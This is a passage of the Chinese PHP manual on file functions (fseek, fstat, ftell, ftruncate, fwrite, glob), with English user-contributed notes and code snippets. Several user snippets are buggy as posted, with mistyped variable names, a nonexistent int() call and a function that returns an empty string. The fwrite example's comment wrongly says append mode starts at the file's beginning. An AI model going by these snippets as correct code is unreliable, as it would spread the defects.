fscanf works a little retardedly I've found. Instead of using just a plain %s you probably will need to use sets instead. Because it works so screwy compared to C/C++, fscanf does not have the ability to scan ahead in a string and pattern match correctly, so a seemingly perfect function call like:

fscanf($fh, "%s::%s");

With a file like:

user::password

Will not work. When fscanf looks for a string, it will look and stop at nothing except for a whitespace so :: and everything except whitespace is considered part of that string, however you can make it a little smarter by:

fscanf($fh, "%[a-zA-Z0-9,. ]::%[a-zA-Z0-9,. ]" $var1, $var2);

Which tells it that it can only accept a through z A through Z 0 through 9 a comma a period and a whitespace as input to the string, everything else cause it to stop taking in as input and continue parsing the line. This is very useful if you want to get a sentence into the string and you're not sure of exactly how many words to add, etc.
yasuo_ohgaki at hotmail dot com
13-Mar-2001 03:59
For C/C++ programmers.

fscanf() does not work like C/C++, because PHP's fscanf() move file pointer the next line implicitly.
add a note add a note

后退 | 起点 | 前进
fread | 上一级 | fseek


fseek

(PHP 3, PHP 4, PHP 5)

fseek -- 在文件指针中定位

说明

int fseek ( resource handle, int offset [, int whence] )

在与 handle 关联的文件中设定文件指针位置。新位置，从文件头开始以字节数度量，是以 whence 指定的位置加上 offset。whence 的值定义为：

SEEK_SET - 设定位置等于 offset 字节。
SEEK_CUR - 设定位置为当前位置加上 offset。
SEEK_END - 设定位置为文件尾加上 offset。（要移动到文件尾之前的位置，需要给 offset 传递一个负值。）

如果没有指定 whence，默认为 SEEK_SET。

成功则返回 0；否则返回 -1。注意移动到 EOF 之后的位置不算错误。

例子 1. fseek() 例子

<?php

$fp = fopen('somefile.txt');

// read some data
$data = fgets($fp, 4096);

// move back to the begining of the file
// same as rewind($fp);
fseek($fp, 0);

?>

可能不能用于在 fopen() 中以 "http://" 或 "ftp://" 格式打开所返回的文件指针。在附加模式（加参数 "a" 打开文件）中 ftell() 会返回未定义错误。

注: whence 参数是 PHP 4.0.0 之后增加的。

注: 如果你使用附加模试（"a" 或 "a+"），任何写入文件数据都会被附加上去，而文件的位置将会被忽略。

参见 ftell() 和 rewind()。

add a note add a note User Contributed Notes
mail at ulf-kosack dot de
28-May-2006 01:44
Here a little extension for the code of ekow.
If you want to read more than one line and more than one file. Some times the last five ore ten lines are interesting in.

You only have to submit a array with filenames and optionally a number of lines you want to read.

<?php
  function read_logfiles($files, $lines=5)
  {
   foreach($files as $file_num => $file) {
     if (file_exists ($file) ) {
       $handle = fopen($file, "r");
       $linecounter = $lines;
       $pos = -2;
       $t = " ";
       $text[$file_num] = "";
       while ($linecounter > 0) {
         while ($t != "\n") {
           fseek($handle, $pos, SEEK_END);
           $t = fgetc($handle);
           $pos --;
         }
         $t = " ";
         $text[$file_num] .= fgets($handle);
         $linecounter --;
       }
       fclose ($handle);
     } else {
       $text[$file_num] = "The file doesn't exist.";
     }
   }

   return $text;
?>
ekow[at]te.ugm.ac.id
11-Dec-2005 09:22
A little correction for code to read last line from chenganeyou at eyou dot com.
$linenumber = sizeof($file)-1;
should be
$linenumber = sizeof($contents)-1;
because sizeof will count array element, not file size.
<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($contents)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
jeffunk7 at yahoo dot com
10-Dec-2005 10:46
If you, like me, need the second to last line from a text file (or some other line near the end that you will know the number of, ie the fourth to last line) then this addition to Jim's code can help you.

//$linefromlast is the linenumber that you need, the last line being 1, the second to last being 2, and so on...

function readlog($file, $linefromlast){
   $fp = @fopen($file, "r");
   $pos = -2;
   $t = " ";
   $linecounter = 1;
       while ($t != "\n" and $linecounter<=$linefromlast) {
               fseek($fp, $pos, SEEK_END);
               $t = fgetc($fp);
               $pos = $pos - 1;
               if ($t == "\n" and $linecounter < $linefromlast) {
                       fseek($fp, $pos, SEEK_END);
                       $t = fgetc($fp);
                       $pos = $pos - 1;
                       $linecounter = $linecounter +1;
               }
         }
   $t = fgets($fp);
   fclose($fp);
   return $t;
}
memphis
23-Jul-2005 04:41
Actually chenganeyou, your function causes the entire file to be read into an array, and then you look at the last element of the array.  While this works fine for a small file, an sizeable file is going to suck down memory and time.  Using a 15 MB file your function took around 2 secs to return.

The function provided by Jim goes directly to the end of the file and only reads in that line.  I had to set the offset ($pos) to -2 for it to work in my case however.  Using the same 15 MB file this function returns immediately.
chenganeyou at eyou dot com
27-Jun-2005 04:35
I use the following codes to read the last line of a file.
Compared to jim at lfchosting dot com, it should be more efficient.

<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($file)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
phil at NOSPAM dot blisswebhosting dot com
26-May-2005 11:43
In order to read a text file from end->beginning e.g display the most recent contents of a log file first.  I use the following.

It basically just uses fseek to find the end of the file, ftell to find the byte count for a counter, then iterates backwards through the file using fgetc to test for the newline charater.

$i=0 ;
$lines=500 ;
$fp = fopen($log,"r") ;
if(is_resource($fp)){
   fseek($fp,0,SEEK_END) ;
   $a = ftell($fp) ;
   while($i <= $lines){
       if(fgetc($fp) == "\n"){
           echo (fgets($fp));
           $i++ ;
       }
   fseek($fp,$a) ;
   $a-- ;
   }
}
alan at peaceconstitution.com
18-May-2005 09:03
Thanks to Dan, whose above comment provided a key to solve the issue of how to append to a file.
     After, using phpinfo(); I made sure my installation of PHP had the requisite settings mentioned in the text to the manual entry for fopen(), I was puzzled as to why my use of fopen() with the append option 'a' (append option) didn't work. Then I  read a comment contributed to Appendix L (http://us2.php.net/manual/en/wrappers.php) that the append option 'a' for fopen() doesn't work as expected. The writer suggested using the 'w' option instead, which I found did work. But the 'w' option (write option) overwrites everything in the file.
     The question remained how to accomplish appending. Following Dan's suggestion about the 'r+' option, I tried this, which works fine:
       $string = "Message to write to log";
       $filehandle = fopen ("/home/name/sqllogs/phpsqlerr.txt", 'r+');
   fseek ( $filehandle,0, SEEK_END);
   fwrite ( $filehandle, $string."\n" );
   fclose ($filehandle);
Lutz ( l_broedel at gmx dot net )
15-Feb-2005 06:25
Based on the function below, provided by info at o08 dot com (thanks), the following should enable you to read a single line from a file, identified by the line number (starting with 1):

<?
   function readLine ($linenum,$fh) {
       $line = fgets ($fh, 4096);
       $pos = -1;
       $i = 0;

       while (!feof($fh) && $i<($linenum-1)) {
           $char = fgetc($fh);
           if ($char != "\n" && $char != "\r") {
               fseek($fh, $pos, SEEK_SET);
               $pos ++;
           }
           else $i ++;
       }
       $line = fgets($fh);
       return $line;
   } //readLine()
?>
info at o08 dot com
16-Feb-2004 03:27
I think the function should be as following to deal any combination of cr & lf, no matter the line ends by cr, lf, cr-lf or lf-cr:

<?php
function getline ($handle) {
       while (!feof($handle)) {
           $char = fgetc($handle);
           if (($char == "\n") or ($char == "\r")) {
               $char2 = fgetc($handle);
               if (($char2 != "\n") && ($char2 != "\r")) {
                   fseek ($handle,-1,SEEK_CUR);
               }
               break;
           }
           else {
               $buffer .= $char;
           }
       }
       return $buffer;
}
?>
jim at lfchosting dot com
05-Nov-2003 10:03
Here is a function that returns the last line of a file.  This should be quicker than reading the whole file till you get to the last line.  If you want to speed it up a bit, you can set the $pos = some number that is just greater than the line length.  The files I was dealing with were various lengths, so this worked for me.

<?php
function readlastline($file)
{
       $fp = @fopen($file, "r");
       $pos = -1;
       $t = " ";
       while ($t != "\n") {
             fseek($fp, $pos, SEEK_END);
             $t = fgetc($fp);
             $pos = $pos - 1;
       }
       $t = fgets($fp);
       fclose($fp);
       return $t;
}
?>
aspyrine at hotmail dot com
11-Mar-2003 11:51
If you want to go to the end of a socket stream with fseek() you'll get the following error :
"stream does not support seeking"

feof() wont work eiver in a stream (ie. smtp)

You can move the pointer to the end with this command :
while(fgetc($fp)) {}
...so easy :-)
17-Sep-2002 04:25
Don't use filesize() on files that may be accessed and updated by parallel processes or threads (as the filesize() return value is maintained in a cache).
Instead lock the opened file and use fseek($fp,0,SEEK_END) and ftell($fp) to get the actual filesize if you need to perform a fread() call to read the whole file...
25-Aug-2002 08:12
The following call moves to the end of file (i.e. just after the last byte of the file):

fseek($fp, 0, SEEK_END);

It can be used to tell the size of an opened file when the file name is unknown and can't be used with the filesize() function:

fseek($fp, 0, SEEK_END);
$filesize = ftell($fp);

The following call moves to the begining of file:

fseek($fp, 0, SEEK_SET);

It is equivalent to:

rewind($fp);
dan at daniellampert dot com
02-Jan-2002 06:54
For all first-time users of the fseek() function, remember these three things:

1. to use a programming expression, fseek() is "base 0", so to prepare the file for writing at character 1, you'd say fseek($fp,0); and to prepare the file for writing at character $num, you'd say fseek($fp,($num-1));

2. here's the formula for accessing fixed-length records in a file (you need to seek the position of the end of the previous record):

  /* assumes the desired record number is in $rec_num */
  /* assumes the record length is in $rec_len */
  $pos = ( ($rec_num-1) * $rec_len );
  fseek($fp,$pos);

3. if you're using fseek() to write data to a file, remember to open the file in "r+" mode, example:

  $fp=fopen($filename,"r+");

Don't open the file in mode "a" (for append), because it puts the file pointer at the end of the file and doesn't let you fseek earlier positions in the file (it didn't for me!). Also, don't open the file in mode "w" -- although this puts you at the beginning of the file -- because it wipes out all data in the file.

Hope this helps.
add a note add a note

后退 | 起点 | 前进
fscanf | 上一级 | fstat


fstat

(PHP 4, PHP 5)

fstat -- 通过已打开的文件指针取得文件信息

说明

array fstat ( resource handle )

获取由文件指针 handle 所打开文件的统计信息。本函数和 stat() 函数相似，除了它是作用于已打开的文件指针而不是文件名。

返回一个数组具有该文件的统计信息，该数组的格式详细说明于手册中 stat() 页面里。

例子 1. fstat() 例子

<?php

// 打开文件
$fp = fopen("/etc/passwd", "r");

// 取得统计信息
$fstat = fstat($fp);

// 关闭文件
fclose($fp);

// 只显示关联数组部分
print_r(array_slice($fstat, 13));

?>

上例的输出类似于：

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

注: 本函数不能作用于远程文件，被检查的文件必须通过服务器的文件系统访问。

add a note add a note User Contributed Notes
mordae at mordae dot net
29-Jan-2006 11:12
dom at dodgydom dot com wrote:
Best way i found was to open the url into $data and make a temporary file with the contents of $data then get the fstats on the temporary file :).

OMG why? The only thing that will remain is the file size. You also download up to 1G file, which probably is not what you want.

To get size use PHP's function filesize() with URL wrappers or ask yourself via HTTP.
sheran at comtrust dot co dot ae
22-Feb-2001 09:14
On Windows NT the typical array element names for the fstat function are:

dev
ino
mode
nlink
uid
gid
size
atime
mtime
ctime
jason at inetgurs dot net
15-Nov-2000 11:01
Currently fstat() is indexed by name instead of by number like stat().

Example: $s_array=fstat($fp); print $s_array["mtime"];fclose($fp);
add a note add a note

后退 | 起点 | 前进
fseek | 上一级 | ftell


ftell

(PHP 3, PHP 4, PHP 5)

ftell -- 返回文件指针读/写的位置

说明

int ftell ( resource handle )

返回由 handle 指定的文件指针的位置，也就是文件流中的偏移量。

如果出错，返回 FALSE。

文件指针必须是有效的，且必须指向一个通过 fopen()
或 popen() 成功打开的文件。
在附加模式（加参数 "a" 打开文件）中 ftell()
会返回未定义错误。

例子 1. ftell() 例子

<?php

// 打开文件并读些数据
$fp = fopen("/etc/passwd", "r");
$data = fgets($fp, 12);

// 现在指针到哪里了？
echo ftell($fp); // 11

fclose($fp);

?>

参见 fopen()，popen()，fseek() 和 rewind()。

add a note add a note User Contributed Notes
mbirth at webwriters dot de
22-Oct-2005 02:09
Attention! If you open a file with the "text"-modifier (e.g. 'rt') and the file contains \r\n as line-endings, ftell() returns the position as if there were only \n as line-endings.

Example:
If the first line only contains 1 char followed by \r\n, the start of the second line should be position 3. (1char + \r + \n = 3 bytes) But ftell() will return 2 - ignoring one byte. If you call ftell() in line 3, the value will differ from the real value by 2 bytes. The error gets greater with every line.

(Watched this behavior in PHP 5.0.4 for Windows.)

BUT: fseek() works as expected - using the true byte values.
mweierophinney at gmail dot com
22-Jun-2005 01:00
Actually, ftell() gives more than an undefined result for append only streams; it gives the offset from the end of the file as defined before any data was appended. So if you open a file that had 3017 characters, and append 41 characters, and then execute ftell(), the value returned will be 41.
php at michielvleugel dot com
01-Jun-2005 06:19
When trying to determine whether or not something was piped into a command line script, it is not smart to do a fgets(STDIN), because it will wait indefenitely if nothing is piped. Instead, I found ftell on STDIN to be very handy: it will return an integer of zero when something was piped, and nothing if nothing was piped to the script.

#!/usr/bin/php4 -q
<?
#following will hang if nothing is piped:
#$sometext = fgets(STDIN, 256)

$tell = ftell(STDIN);

if (is_integer($tell)==true)
  {echo "Something was piped: ".fread(STDIN,256)."\n";}
else
  {echo "Nothing was piped\n";}

?>
add a note add a note

后退 | 起点 | 前进
fstat | 上一级 | ftruncate


ftruncate

(PHP 4, PHP 5)

ftruncate -- 将文件截断到给定的长度

说明

bool ftruncate ( resource handle, int size )

接受文件指针 handle 作为参数，并将文件大小截取为 size。如果成功则返回 TRUE，失败则返回 FALSE。

注: 文件只会在 append 模式下改变。在 write 模式下，必须加上 fseek() 操作。

注: 在 PHP 4.3.3 之前，ftruncate() 在成功时返回一个 integer 值 1，而不是 boolean 的 TRUE。

参见 fopen() 和 fseek()。

add a note add a note User Contributed Notes
latet at poczta dot onet dot pl
14-Aug-2004 02:01
I want to report:
on Apache/2.0.48 (Linux/SuSE), PHP Version 4.3.3.

It is very different in "a" and in "r" modes.

After fopen in "a" mode, I don't have to fseek before ftruncate ($fp, 0) and even between ftruncate and the following fputs (if I need to write to the begining of the file).

But if I open in "r" mode and read some bytes, and then I want to ftruncate ($fp, 0) and write again - I do need to put fseek($fp, 0); just after ftruncate ($fp, 0).

Latet
rc at opelgt dot org
12-May-2004 09:35
I was confused by the different fopen modes (r, r+, w, w+, a, a+).
I wrote

<?php
$alt = '1234567890';
$neu = '13579';

$datei = 'test.txt';
$dh = fopen ($datei,"w");
fwrite($dh, $alt);
fclose($dh);

$dh = fopen ($datei,"a+"); // just alter the mode to test others
rewind($dh);
echo "Inhalt<BR>\nalt: ".fread($dh, filesize($datei))."<BR>\n";
ftruncate($dh, '0');
fwrite($dh, $neu);
rewind($dh);
echo 'neu: '.fread($dh, filesize($datei));
fclose($dh);
?>

to find out what happens:

1. For me ftruncate to a size of 0 takes the pointer to position 0 successfully. Tested under UNIX with PHP 4.2.3 and under MacOSX 10.3 with PHP 4.3.4
2. Writing to a file opened with 'a' or 'a+' always begins writing at the end of the file. A rewind before doesnt help! ('a' for always append!)

macrudi
stevedegrace von yahoo point ca
16-Nov-2003 06:07
I am using PHP 4.3.2 and I can confim you do need to seek to the beginning of the file before truncating and writing. I found that failing to rewind before truncating and writing caused my output file to be uninterpretable by some applications, but by rewinding first the desired result was achieved.
jfb
05-Sep-2003 06:30
> ftruncate does not alter the position of the file pointer

Are you sure ? On linux with PHP 4.2.2  there is no problem if I don't seek to the beginning of the file before writing.
jim dot hatfield at insignia dot com
15-Jun-2001 09:58
ftruncate does not alter the position of the file pointer. If you edit a file in-place by opening for reading and writing, reading the file, truncating and writing out again, you have to seek to the beginning before writing or you get as many NULLs as there were bytes in the original file, then your new content.
add a note add a note

后退 | 起点 | 前进
ftell | 上一级 | fwrite


fwrite

(PHP 3, PHP 4, PHP 5)

fwrite -- 写入文件（可安全用于二进制文件）

说明

int fwrite ( resource handle, string string [, int length] )

fwrite() 把 string 的内容写入 文件指针 handle 处。 如果指定了 length，当写入了 length 个字节或者写完了 string 以后，写入就会停止，视乎先碰到哪种情况。

fwrite() 返回写入的字符数，出现错误时则返回 FALSE 。

注意如果给出了 length 参数，则 magic_quotes_runtime 配置选项将被忽略，而 string 中的斜线将不会被抽去。

注: 在区分二进制文件和文本文件的系统上（如 Windows） 打开文件时，fopen() 函数的 mode 参数要加上 'b'。

例子 1. 一个简单的 fwrite() 例子

<?php
$filename = 'test.txt';
$somecontent = "添加这些文字到文件\n";

// 首先我们要确定文件存在并且可写。
if (is_writable($filename)) {

    // 在这个例子里，我们将使用添加模式打开$filename，
    // 因此，文件指针将会在文件的开头，
    // 那就是当我们使用fwrite()的时候，$somecontent将要写入的地方。
    if (!$handle = fopen($filename, 'a')) {
         echo "不能打开文件 $filename";
         exit;
    }

    // 将$somecontent写入到我们打开的文件中。
    if (fwrite($handle, $somecontent) === FALSE) {
        echo "不能写入到文件 $filename";
        exit;
    }

    echo "成功地将 $somecontent 写入到文件$filename";

    fclose($handle);

} else {
    echo "文件 $filename 不可写";
}
?>

参见 fread()，fopen()，fsockopen()，popen() 和 file_put_contents()。

add a note add a note User Contributed Notes
santibari at yahoo dot com
19-Mar-2006 03:49
To write a specific byte into a file (let's,say 0000 0001), use the function chr().
<?php

fputs($fp,chr(0x01),1);

?>
bahatest at ifrance doc com
24-Jul-2005 05:40
[Editor's Note: No, you only need to use this if you want a BOM (Byte order mark) added to the document - most people do not.]

if you have to write a file in UTF-8 format, you have to add an header to the file like this :

<?php
$f=fopen("test.txt", "wb");
$text=utf8_encode("a!");
// adding header
$text="\xEF\xBB\xBF".$text;
fputs($f, $text);
fclose($f);
?>
james at nicolson dot biz
06-Jul-2005 11:09
I could'nt quite get MKP Dev hit counter to work.... this is how I modified it
<?
function hitcount()
{
$file = "counter.txt";
if ( !file_exists($file)){
       touch ($file);
       $handle = fopen ($file, 'r+'); // Let's open for read and write
       $count = 0;

}
else{
       $handle = fopen ($file, 'r+'); // Let's open for read and write
       $count = fread ($handle, filesize ($file));
       settype ($count,"integer");
}
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
  * 10 because we are always incrementing, so we will always write at
   * least as many characters as we read
   **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done

return $count;
}
?>
albert;cutthis; at ;coznospam;ribox dot nl
08-Jun-2005 12:02
To write 'true binary' files combine with pack() :

$a = 65530;
$fp = fopen('test.dat', 'w');
fwrite($fp, pack('L', $a));
fclose($fp);
MKP Dev
12-May-2005 08:25
bluevd at gmail dot com mentioned a hit counter. In his/her implementation, the file is first opened, read, closed, then opened +truncated, then written, and closed again. An alternative to this is:
<?php
$file = 'counter.txt or whatever';
$handle = fopen ($file, 'r+'); // Let's open for read and write
$count = int (fread ($handle, filesize ($file)));
// We don't want to think it's a string and try appending
echo "Number of hits $count";
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
 * 10 because we are always incrementing, so we will always write at
 * least as many characters as we read
 **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done
?>
Will at EnigmaChannel dot com
25-Mar-2005 10:24
Using fwrite to write to a file in your include folder...

PHP does not recognise the permissions setting for the file until you restart the server... this script works fine. (still have to create the blank text file first though...it is not created automatically) On OS X Server..
Using the 1 in fopen tells php to look for the file in your include folder. Change your include folder by altering include_path in php.ini
On OS X Server, php.ini is in private/etc/php.ini.default
copy the file and call it php.ini

the default include path is usr/lib/php
(All these folders are hidden - use TinkerTool to reveal them)

<?php
$file = fopen('textfile.txt', 'a', 1);
$text="\n Your text to write \n ".date('d')."-".date('m')."-".date('Y')."\n\n";
fwrite($file, $text);
fclose($file);
?>
goodwork at myrealbox dot com
18-Feb-2005 04:15
difficulty appending to file in SAFE MODE ON
if you are getting resource errors etc try this...

$textline="whatever string you submitted or created";
$filename="afilename.log"; // or whatever your path and filename
 if (!$handle = fopen($filename, 'a')) {
         echo "Cannot open file ($filename)"; // or handle your error
         exit; }
$textline.="\n"; // dont forget that period
// now write content to our opened file.
 IF (fwrite($handle,$textline) === FALSE)
   {echo "Cannot write to file ($filename)";// or handle your error
       exit;}
     echo "Success, wrote ($textline) to file ($filename)";
fclose($handle);
sheyh
10-Feb-2005 01:55
if you want to create quickly and without fopen use system, exec

system('echo "blahblah" > /path/file');
kzevian at cybercable dot net dot mx
04-Feb-2005 03:27
I needed to append, but I needed to write on the file's beginning, and after some hours of effort this worked for me:

$file = "file.txt";
if (!file_exists("file.txt")) touch("file.txt");
$fh = fopen("file.txt", "r");
$fcontent = fread($fh, filesize("file.txt"));

$towrite = "$newcontent $fcontent";

$fh22 = fopen('file.txt', 'w+');
fwrite($fh2, $towrite);
fclose($fh);
fclose($fh2);
bluevd at gmail dot com
23-Dec-2004 01:56
Watch out for mistakes in writting a simple code for a hit counter:
<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','a');
fwrite($cont,$incr);
fclose($cont);
?>

Why? notice the second fopen -> $cont=fopen('cont.txt','a');
it opens the file in writting mode (a). And when it ads the incremented
value ( $incr ) it ads it ALONG the old value... so opening the counter
page about 5 times will make your hits number look like this
012131214121312151.21312141213E+ .... you get the piont.
nasty, isn't it? REMEMBER to open the file with the 'w' mode (truncate
the file to 0). Doing this will clear the file content and it will make sure that
your counter works nice. This is the final code

<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','w');
fwrite($cont,$incr);
fclose($cont);
?>

Notice that this work fine =)
XU (alias Iscu Andrei)
chill at cuna dot org
27-Oct-2004 06:32
In PHP 4.3.7 fwrite returns 0 rather than false on failure.
The following example will output "SUCCESS: 0 bytes written" for existing file test.txt:

$fp = fopen("test.txt", "rw");
if (($bytes_written = fwrite($fp, "This is a test")) === false) {
  echo "Unable to write to test.txt\n\n";
} else {
  echo "SUCCESS: $bytes_written bytes written\n\n";
}
php at biggerthanthebeatles dot com
22-Aug-2003 06:04
Hope this helps other newbies.

If you are writing data to a txt file on a windows system and need a line break. use \r\n . This will write hex OD OA.

i.e.
$batch_data= "some data... \r\n";
fwrite($fbatch,$batch_data);

The is the equivalent of opening a txt file in notepad pressing enter and the end of the line and saving it.
Andi
17-Jul-2003 05:32
[Ed. Note:
The runtime configuration setting auto_detect_line_endings should solve this problem when set to On.]

I figured out problems when writing to a file using \r as linebreak, after that file() wasn't able to read the data from that file.
Using \n solved the problem.
chedong at hotmail dot com
20-Jun-2003 05:36
the fwrite output striped the slashes if without length argument given, example:

<?php
$str = "c:\\01.txt";
$out = fopen("out.txt", "w");
fwrite($out, $str);
fclose($out);
?>

the out.txt will be:
c:^@1.txt
the '\\0' without escape will be '\0' ==> 0x00.

the correct one is change fwrite to:
fwrite($out, $str, strlen($str));
Jake Roberts
05-Jun-2003 02:35
Use caution when using:

$content = fread($fh, filesize($fh)) or die "Error Reading";

This will cause an error if the file you are reading is zero length.

Intead use:

if ( false === fread($fh, filesize($fh)) ) die "Error Reading";

Thus it will be successful on reading zero bytes but detect and error returned as FALSE.
Chris Blown
19-May-2003 06:12
Don't forget to check fwrite returns for errors! Just because you successfully opened a file for write, doesn't always mean you can write to it.

On some systems this can occur if the filesystem is full, you can still open the file and create the filesystem inode, but the fwrite will fail, resulting in a zero byte file.
seeker at seek dot planet
10-Feb-2003 02:33
[[Editors note: There is no "prepend" mode, you must essentially rewrite the entire file after prepending contents to a string. Perhaps you will use file(), modify, implode(), then fopen()/fwrite() it back]]
To put strings into the front of the file, you need to set place the pointer at the top of the file when openning the file with fopen(), see fopen() for more info.
add a note add a note

后退 | 起点 | 前进
ftruncate | 上一级 | glob


glob

(PHP 4 >= 4.3.0, PHP 5)

glob -- 寻找与模式匹配的文件路径

说明

array glob ( string pattern [, int flags] )

glob() 函数依照 libc glob() 函数使用的规则寻找所有与 pattern 匹配的文件路径，类似于一般 shells 所用的规则一样。不进行缩写扩展或参数替代。

返回一个包含有匹配文件/目录的数组。如果出错返回 FALSE。

有效标记为：

  • GLOB_MARK - 在每个返回的项目中加一个斜线

  • GLOB_NOSORT - 按照文件在目录中出现的原始顺序返回（不排序）

  • GLOB_NOCHECK - 如果没有文件匹配则返回用于搜索的模式

  • GLOB_NOESCAPE - 反斜线不转义元字符

  • GLOB_BRACE - 扩充 {a,b,c} 来匹配 'a'，'b' 或 'c'

  • GLOB_ONLYDIR - 仅返回与模式匹配的目录项

    注: 在 PHP 4.3.3 版本之前 GLOB_ONLYDIR 在 Windows 或者其它不使用 GNU C 库的系统上不可用。

  • GLOB_ERR - 停止并读取错误信息（比如说不可读的目录），默认的情况下忽略所有错误

    注: GLOB_ERR 是 PHP 5.1 添加的。

例子 1. 怎样用 glob() 方便地替代 opendir() 和相关函数

<?php
foreach (glob("*.txt") as $filename) {
    echo "$filename size " . filesize($filename) . "\n";
}
?>

上例的输出类似于：

funclist.txt size 44686
funcsummary.txt size 267625
quickref.txt size 137820

注: 本函数不能作用于远程文件，被检查的文件必须通过服务器的文件系统访问。

参见 opendir()，readdir()，closedir() 和 fnmatch()。

add a note add a note User Contributed Notes
c_windows_temp at hotmail dot com
07-Jun-2006 07:53
Note that this function does not list broken symbolic links.
ny_obaATgmxDOTnet
03-Apr-2006 11:51
Case insensitive version of this function for mswin:

// only supported flags are GLOB_NOSORT | GLOB_ONLYDIR
function iglob($pattern, $flags)
{
  $path = preg_split(
     '#(?<=\A|[\\\\/])((?>[^\\\\/*?]*)[*?](?>[^\\\\/]*))(?=\Z|[\\\\/])#',
     $pattern, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY
   );

  foreach ($path as &$n)
   if (preg_match('/[*?]/', $n))
   {
     $re = '';
     for ($i = 0, $l = strlen($n); $i < $l; $i++)
       switch($n{$i})
       {
         case '*': $re .= '.*'; break;
         case '?': $re .= '.'; break;
         default: $re .= sprintf('\x%02x', ord($n{$i}));
       }
     $n = array(0, "/^$re$/i");
   }
   else
     $n = array(1, $n);

  $res = array();
  iglob_DFS($path, $flags, '', 0, $res);
  if (!($flags & GLOB_NOSORT))
   sort($res);

  return $res;
}

function iglob_DFS($path, $flags, $parent, $lvl, &$res)
{
  $depth = count($path) - 1;

  if (($lvl < $depth) && $path[$lvl][0])
   $parent .= $path[$lvl++][1];

  $files = array();
  if ($path[$lvl][0])
   $files[] = $path[$lvl][1];
  else
   if ($d = @opendir(($parent == '') ? '.' : $parent))
   {
     while (($n = readdir($d)) !== false)
       if ($n != '.' && $n != '..')
         $files[] = $n;
     closedir($d);
   }

  foreach ($files as $f)
   if ($path[$lvl][0] || preg_match($path[$lvl][1], $f))
   {
     $fullpath = $parent.$f;
     if ($lvl == $depth)
     {
       if (!($flags & GLOB_ONLYDIR) || is_dir($fullpath))
         $res[] = $fullpath;
     }
     else
       iglob_DFS($path, $flags, $fullpath, $lvl + 1, $res);
   }
}
edogs [at] dogsempire.com
04-Mar-2006 09:34
funny enough, but our testing opendir VS glob

show advantage of opendir by speed

0.00115704536438
and
0.0068039894104

or if to pass 200 times
0.210277080536
vs
1.2976038456
info at urbits dot com
06-Jan-2006 08:26
I have been working towards a CMS-type design that is both modular and quite flat. For example, included files are all one level below the installation folder.

glob() just help me get rid of a lot of opendir() hassle. I wasn't sure if the double asterix would work - but it's fine:

foreach (glob(SERVER_PATH."/*/includes/*.php") as $inc) {
   require($inc);
}
admiral [at] nuclearpixel [dot] com
24-Nov-2005 12:38
I've written a function that I've been using quite a lot over the past year or so. I've built whole websites and their file based CMSs based on this one function, mostly because (I think) databases are not as portable as groups of files and folders. In previous versions, I used opendir and readdir to get contents, but now I can do in one line what used to take several. How? Most of the work in the whole script is done by calling

glob("$dir/*")

Giving me an array containing the names of the items in the folder, minus the ones beginning with '.', as well as the ones I specify.

<?php

/* alpharead version 3: This function returns an array containing the names of the files inside any given folder, excluding files that start with a '.', as well as the filenames listed in the '$killit' array. This array is sorted using the 'natural alphabetical' sorting manner. If no input is given to the function, it lists items in the script's interpreted folder. Version 3 fixes a MAJOR bug in version 2 which corrupted certain arrays with greater than 5 keys and one of the supposedly removed filenames.
written by Admiral at NuclearPixel.com */

function alpharead3($dir){
if(!$dir){$dir = '.';}
foreach(glob("$dir/*") as $item){$sort[]= end(explode('/',$item));}

$killit = array('index.html', 'index.php', 'thumbs.db', 'styles.css');
$killcounter = 0;
foreach($sort as $sorteditem){
foreach($killit as $killcheck){
if(strtolower($sorteditem) == strtolower($killcheck))
{unset($sort[$killcounter]);}
}$killcounter++;}
if($sort){natsort($sort);}
foreach($sort as $item){$return[]= $item;}

if(!$return){return array();}
return $return;
}

//some basic usage

$folder = 'images';
foreach(alpharead3($folder) as $item)
{
echo '<img src="'.$folder.'/'.$item.'"><br>'.$item."\n";
}

?>

Commens on this function are welcome!
27-Oct-2005 03:27
in the example below, i found i got an error if the directory was empty or the directory do not exists.

<?php
foreach (glob("*.txt") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
}
?>

My solution has:
$arrayFiles=glob('c:\text\*.*');
if($arrayFiles){
  foreach ($arrayFiles as $filename) {
   echo "$filename size <br>";
  }
}
else
  echo"File not found."
Jacob Eisenberg
06-Oct-2005 01:55
Note that on Windows, glob distinguishes between uppercase and lowercase extensions, so if the directory contains a file "test.txt" and you glob for "*.TXT" then the file will not be found!
That bug only happens when you use patterns containing "*", like the example above. If you for example search for the full filename "test.TXT" then everything works correctly.
DMan
28-Aug-2005 03:59
Whilst on Windows, a path starting with a slash resolves OK for most file functions - but NOT glob.
If the server is LAUNCHED (or chdir()ed) to W:, then
file_exists("/temp/test.txt")
returns true for the file "W:/temp/test.txt".
But glob("/temp/*.txt") FAILS to find it!

A solution (if you want to avoid getting drive letters into your code) is to chdir() first, then just look for the file.
<?php
$glob="/temp/*.txt";
chdir(dirname($glob));
// getcwd() is now actually "W:\temp" or whatever

foreach (glob(basename($glob)) as $filename) {
   $filepath = dirname($glob)."/".$filename; // must re-attach full path
   echo "$filepath size " . filesize($filepath) . "\n";
}
?>

Note also, glob() IS case sensitive although most other file funcs on Windows are not.
x_terminat_or_3 at yahoo dot country:fr
07-Jul-2005 06:36
This is a replacement for glob on servers that are running a php version < 4.3

